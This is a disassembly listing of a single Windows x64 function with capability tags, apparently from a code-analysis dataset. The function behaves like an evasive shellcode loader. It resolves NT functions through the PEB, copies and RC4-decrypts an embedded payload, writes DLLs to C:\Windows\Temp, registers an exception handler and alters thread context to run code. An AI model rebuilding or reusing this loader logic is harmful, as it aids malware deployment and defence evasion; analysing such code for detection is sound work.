Function at 0x1400012b0
Capabilities:
Access peb ldr_data
Encrypt data using rc4 via systemfunction032
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x518]
sub rsp, 0x618
mov rax, qword gs:[0x60]
xor r8d, r8d
movaps xmm0, xmmword [0x14001c660]
mov r9, qword [section..data]
movaps xmmword [rsp + 0x70], xmm0
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
mov rcx, qword [rax]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov rdx, qword [rcx + 0x20]
lea rcx, [rbp - 0x80]
mov qword [0x14001c650], rdx
call fcn.140001b70
movaps xmm1, xmmword [0x14001c670]
lea rcx, [rbp - 0x80]
mov r9, qword [str.NtCreateThreadEx]
mov r8d, 1
mov rdx, qword [0x14001c650]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [0x14001c660], xmm0
mov qword [rsp + 0x20], rax
call fcn.140001b70
movaps xmm1, xmmword [0x14001c680]
lea rcx, [rbp - 0x80]
mov r9, qword [str.NtQueueApcThread]
mov r8d, 2
mov rdx, qword [0x14001c650]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [0x14001c670], xmm0
mov qword [rsp + 0x20], rax
call fcn.140001b70
movaps xmm1, xmmword [0x14001c690]
lea rcx, [rbp - 0x80]
mov r9, qword [str.NtProtectVirtualMemory]
mov r8d, 3
mov rdx, qword [0x14001c650]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [0x14001c680], xmm0
mov qword [rsp + 0x20], rax
call fcn.140001b70
movaps xmm1, xmmword [0x14001c6a0]
lea rcx, [rbp - 0x80]
mov r9, qword [str.NtWriteVirtualMemory]
mov r8d, 4
mov rdx, qword [0x14001c650]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [0x14001c690], xmm0
mov qword [rsp + 0x20], rax
call fcn.140001b70
movaps xmm1, xmmword [0x14001c6b0]
lea rcx, [rbp - 0x80]
mov r9, qword [str.NtDelayExecution]
mov r8d, 5
mov rdx, qword [0x14001c650]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [0x14001c6a0], xmm0
mov qword [rsp + 0x20], rax
call fcn.140001b70
mov rdx, qword [0x14001c668]
xor r15d, r15d
movzx ecx, word [0x14001c660]
movups xmm0, xmmword [rax]
mov qword [rsp + 0x60], r15
mov dword [rbp + 0x568], 0x195ff
movaps xmmword [0x14001c6b0], xmm0
mov dword [rbp + 0x550], 0x195ff
call fcn.140001ec0
mov dword [rsp + 0x28], 4
lea r9, [rbp + 0x550]
mov dword [rsp + 0x20], 0x3000
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, 0xffffffffffffffff
call fcn.140001ed8
mov rdx, qword [0x14001c6a8]
movzx ecx, word [0x14001c6a0]
call fcn.140001ec0
mov r9d, dword [rbp + 0x550]
lea r8, [0x140003030]
mov rdx, qword [rsp + 0x60]
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0x20], r15
call fcn.140001ed8
mov rax, qword [rsp + 0x60]
lea rdx, [0x140001d40]
mov ecx, 1
mov qword [0x14001c658], rax
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov rax, qword gs:[0x60]
mov r14d, r15d
mov qword [rsp + 0x70], r15
mov edx, r15d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
mov r8, qword [rax + 0x20]
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x98]
movzx r10d, word [r9 + r8 + 0xe]
lea r11, [r9 + r8]
movzx eax, word [r11 + 0xc]
add r10d, eax
je 0x140001570
nop word [rax + rax]
mov eax, edx
mov eax, dword [r11 + rax*8 + 0x14]
test eax, eax
jns 0x140001570
btr eax, 0x1f
lea rcx, [r9 + rax]
mov eax, dword [rcx + r8 + 0x14]
test eax, eax
jns 0x140001569
cmp word [rcx + r8 + 0x10], 0x65
je 0x14000172d
inc edx
cmp edx, r10d
jb 0x140001540
mov esi, dword [rsp + 0x70]
movups xmm0, xmmword [str.C:WindowsTempdll.dll]
movzx eax, byte [0x140002158]
lea rcx, str.Advapi32
movups xmm1, xmmword [str.C:WindowsTempdlll.dll]
mov byte [rbp - 0x18], al
lea rax, str.OQ__pn
movups xmmword [rbp - 0x10], xmm0
mov dword [rbp + 0x558], r15d
movsd xmm0, qword [0x140002138]
movsd qword [rbp], xmm0
movsd xmm0, qword [0x140002150]
movsd qword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x80], 0x10
mov dword [rbp - 0x7c], 0x10
mov qword [rbp - 0x78], rax
mov dword [rsp + 0x70], esi
mov dword [rsp + 0x74], esi
mov qword [rsp + 0x78], r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x70]
call rax
mov qword [rsp + 0x30], r15
lea rcx, [rbp - 0x10]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rbp + 0x558]
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, esi
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x30], r15
lea rcx, [rbp - 0x30]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rbp + 0x558]
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, esi
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
xorps xmm0, xmm0
lea rcx, [rbp - 0x10]
xor edx, edx
mov r8d, 1
movups xmmword [rsp + 0x70], xmm0
mov rsi, r15
movups xmmword [rbp - 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
movups xmm1, xmmword [rsp + 0x70]
mov rbx, rax
xorps xmm2, xmm2
nop dword [rax + rax]
movups xmm0, xmmword [rbp - 0x80]
lea r8, [rbp - 0x60]
mov rdx, rbx
lea rcx, [rbp + 8]
movaps xmmword [rbp - 0x60], xmm2
movaps xmmword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x50], xmm1
call section..text
movups xmm0, xmmword [rax + 0x20]
movups xmm2, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm0
psrldq xmm0, 4
movd eax, xmm0
cmp eax, 0x40
je 0x1400017aa
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
test rax, rax
je 0x1400017af
add rbx, rax
jmp 0x1400016d0
btr eax, 0x1f
add rax, r9
mov eax, dword [rax + r8 + 0x14]
btr eax, 0x1f
add rax, r9
mov ebx, dword [rax + r8]
mov esi, dword [rax + r8 + 4]
add rbx, r8
je 0x140001574
test esi, esi
je 0x140001574
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, esi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, r15d
mov r14, rax
test esi, esi
je 0x140001574
mov rdx, rax
sub rbx, rax
nop word [rax + rax]
movzx ecx, byte [rbx + rdx]
inc r8d
movsxd rax, r8d
mov byte [rdx], cl
lea rdx, [rdx + 1]
cmp rax, rsi
jb 0x140001790
jmp 0x140001574
movq rsi, xmm2
movzx eax, byte [rsp + 0x60]
lea rdi, [rbp - 0x60]
movzx ebx, byte [rsp + 0x67]
lea r14, [rbp + 8]
movzx ecx, byte [rsp + 0x61]
xorps xmm0, xmm0
movzx edx, byte [rsp + 0x62]
movzx r8d, byte [rsp + 0x63]
movzx r9d, byte [rsp + 0x64]
movzx r10d, byte [rsp + 0x65]
movzx r11d, byte [rsp + 0x66]
mov byte [rsi + 2], al
lea rax, str.NtCreateThreadEx
mov qword [rbp + 8], rax
lea rax, str.NtWaitForSingleObject
mov qword [rbp + 0x10], rax
lea rax, str.NtResumeThread
mov byte [rsi + 9], bl
mov ebx, r15d
mov qword [rbp + 0x18], rax
mov word [rsi], 0xba49
mov byte [rsi + 3], cl
mov byte [rsi + 4], dl
mov byte [rsi + 5], r8b
mov byte [rsi + 6], r9b
mov byte [rsi + 7], r10b
mov byte [rsi + 8], r11b
mov word [rsi + 0xa], 0xff41
mov byte [rsi + 0xc], 0xe2
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [rdi]
mov r9, qword [r14]
lea rax, [rbp - 0x80]
mov rdx, qword [0x14001c650]
lea rcx, [rsp + 0x70]
mov r8d, ebx
movaps xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x20], rax
call fcn.140001b70
inc ebx
lea rdi, [rdi + 0x10]
lea r14, [r14 + 8]
movups xmm0, xmmword [rax]
movups xmmword [rdi - 0x10], xmm0
cmp ebx, 3
jb 0x140001841
mov rdx, qword [rbp - 0x58]
movzx ecx, word [rbp - 0x60]
mov qword [rbp - 0x70], r15
call fcn.140001ec0
mov qword [rsp + 0x50], r15
lea rcx, [rbp - 0x70]
mov qword [rsp + 0x48], r15
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x40], r15
xor r8d, r8d
mov qword [rsp + 0x38], r15
mov edx, 0x1fffff
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rsi
call fcn.140001ed8
xorps xmm0, xmm0
mov qword [rbp + 0x40], r15
xor edx, edx
mov qword [rbp + 0x48], r15
mov r8d, 0x100
mov qword [rbp + 0x50], r15
lea rcx, [rbp + 0x1e0]
mov qword [rbp + 0x58], r15
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x60], r15
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x68], r15
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x70], 0x100010
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x78], r15
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x80], r15
movups xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x88], r15
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x90], r15
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x98], r15
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], r15
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], r15
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], r15
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xf8], r15
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x108], r15
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x118], r15
mov qword [rbp + 0x120], r15
mov qword [rbp + 0x128], r15
mov qword [rbp + 0x130], r15
mov qword [rbp + 0x138], r15
mov dword [rbp + 0x140], r15d
mov qword [rbp + 0x144], r15
mov qword [rbp + 0x14c], r15
mov qword [rbp + 0x154], r15
mov dword [rbp + 0x15c], r15d
call fcn.140001b40
xorps xmm0, xmm0
lea rcx, [rbp + 0x340]
xor edx, edx
mov r8d, 0x1a0
movups xmmword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x2f0], xmm0
movups xmmword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x310], xmm0
movups xmmword [rbp + 0x320], xmm0
movups xmmword [rbp + 0x330], xmm0
call fcn.140001b40
mov qword [rbp + 0x4e0], r15
mov qword [rbp + 0x4e8], r15
mov qword [rbp + 0x4f0], r15
mov qword [rbp + 0x4f8], r15
mov rcx, qword [rbp - 0x70]
lea rdx, [rbp + 0x40]
mov qword [rbp + 0x500], r15
mov qword [rbp + 0x508], r15
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [0x14001c658]
mov rdx, qword [0x14001c698]
movzx ecx, word [0x14001c690]
or qword [rbp + 0xb0], 0x303
mov qword [rbp + 0x88], rax
mov dword [rbp + 0x560], r15d
call fcn.140001ec0
lea rax, [rbp + 0x560]
mov r9d, 0x20
lea r8, [rbp + 0x568]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x60]
mov rcx, 0xffffffffffffffff
call fcn.140001ed8
mov rcx, qword [rbp - 0x70]
lea rdx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rdx, qword [rbp - 0x38]
movzx ecx, word [rbp - 0x40]
call fcn.140001ec0
mov rcx, qword [rbp - 0x70]
xor edx, edx
call fcn.140001ed8
mov rdx, qword [rbp - 0x48]
movzx ecx, word [rbp - 0x50]
call fcn.140001ec0
mov rcx, qword [rbp - 0x70]
xor r8d, r8d
xor edx, edx
call fcn.140001ed8
xor eax, eax
add rsp, 0x618
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret